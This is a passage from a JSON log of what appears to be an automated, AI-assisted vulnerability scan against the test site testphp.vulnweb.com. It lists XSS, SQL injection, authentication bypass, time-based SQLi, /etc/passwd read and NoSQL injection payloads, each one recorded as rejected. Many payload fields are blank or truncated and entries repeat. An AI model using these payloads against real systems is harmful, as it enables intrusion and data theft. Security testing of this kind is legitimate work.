"http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "parameter": "pp", - "reasoning_steps": [ - "Tested xss_reflected on http://testphp.vulnweb.com/hpp/?pp=12&pp=%3Cscript%3Ealert('XSS')%3C/script%3E", - "Parameter: pp", - "Payload: ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: Stored XSS: payload reflected in dangerous context (", - "evidence_summary": "Stored XSS: payload reflected in dangerous context (alert('DOMXSS')", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects ", - "Evidence: XSS payload in auto-executing context: Payload injects ", - "evidence_summary": "XSS payload in auto-executing context: Payload injects " - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267782.936387 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267787.698983 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267793.9624372 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267798.90123 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267807.424875 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267819.037492 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267824.925566 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267831.1092339 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 'a'='a" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771267840.948214 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268667.2495182 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268677.7514272 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268686.018811 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268692.0056791 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268697.6607301 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match); AI confirms payload was ineffective (score: 0/100)", - "timestamp": 1771268703.2968361 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269632.6577752 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269634.300543 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269636.2402391 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269638.092785 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269639.9347498 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771269641.769048 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771269753.797302 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771269755.58939 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771269757.3576362 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771269759.021182 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771269760.974498 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771269762.558264 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771269764.3446999 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771269766.188575 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php?artist=1", - "attempted_payloads": [ - "' AND 'a'='a" - ], - "failure_reason": "Rejected sqli_blind in artist: negative controls show same behavior (1/4 controls match) (score: 30/100)", - "timestamp": 1771269768.034654 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771269934.330056 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771269939.4603882 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in pic: negative controls show same behavior (3/4 controls match) (score: 0/100)", - "timestamp": 1771269941.3968482 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in pic: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771269943.048608 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/hpp/", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in pp: no proof of execution (score: 20/100)", - "timestamp": 1771269945.9105651 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269948.038503 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269949.997208 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269951.8562272 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/showimage.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in file: no proof of execution; negative controls show same behavior (2/4 controls match) (score: 0/100)", - "timestamp": 1771269954.9127839 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269957.2755818 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269958.9315991 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771269960.877931 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274082.697197 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274084.421931 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in id: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274086.165426 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274087.9972548 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin'--" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274089.636482 - }, - { - "vuln_type": "auth_bypass", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/admin", - "attempted_payloads": [ - "admin' #" - ], - "failure_reason": "Rejected auth_bypass in q: no proof of execution; negative controls show same behavior (4/4 controls match) (score: 0/100)", - "timestamp": 1771274091.383049 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274202.694825 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274204.536343 - }, - { - "vuln_type": "xss_reflected", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "" - ], - "failure_reason": "Rejected xss_reflected in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274206.272691 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "'" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274208.030637 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "\"" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274209.752471 - }, - { - "vuln_type": "sqli_error", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' OR '1'='1" - ], - "failure_reason": "Rejected sqli_error in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274211.697767 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=1--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274213.644196 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 1=2--" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274215.404855 - }, - { - "vuln_type": "sqli_blind", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/product.php?pic=1", - "attempted_payloads": [ - "' AND 'a'='a" - ], - "failure_reason": "Rejected sqli_blind in pic: negative controls show same behavior (2/4 controls match) (score: 30/100)", - "timestamp": 1771274217.287173 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in artist: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274316.399603 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274318.2017238 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/artists.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in artist: negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274319.951565 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274323.948448 - }, - { - "vuln_type": "arbitrary_file_read", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "/etc/passwd" - ], - "failure_reason": "Rejected arbitrary_file_read in cat: negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274325.881962 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/listproducts.php", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in cat: no proof of execution; negative controls show same behavior (1/4 controls match) (score: 0/100)", - "timestamp": 1771274327.6548638 - }, - { - "vuln_type": "sqli_time", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/search.php", - "attempted_payloads": [ - "'; WAITFOR DELAY '0:0:5'--" - ], - "failure_reason": "Rejected sqli_time in test: no proof of execution (score: 20/100)", - "timestamp": 1771274329.6427011 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: nginx/1.19.0, PHP/5.6.40-38+ubuntu20.04.1+deb.sury.org+1, PHP", - "endpoint_pattern": "http://testphp.vulnweb.com/hpp/", - "attempted_payloads": [ - "{\"$gt\": \"\"}" - ], - "failure_reason": "Rejected nosql_injection in pp: no proof of execution (score: 20/100)", - "timestamp": 1771274333.2546601 - }, - { - "vuln_type": "nosql_injection", - "technology": "Server: 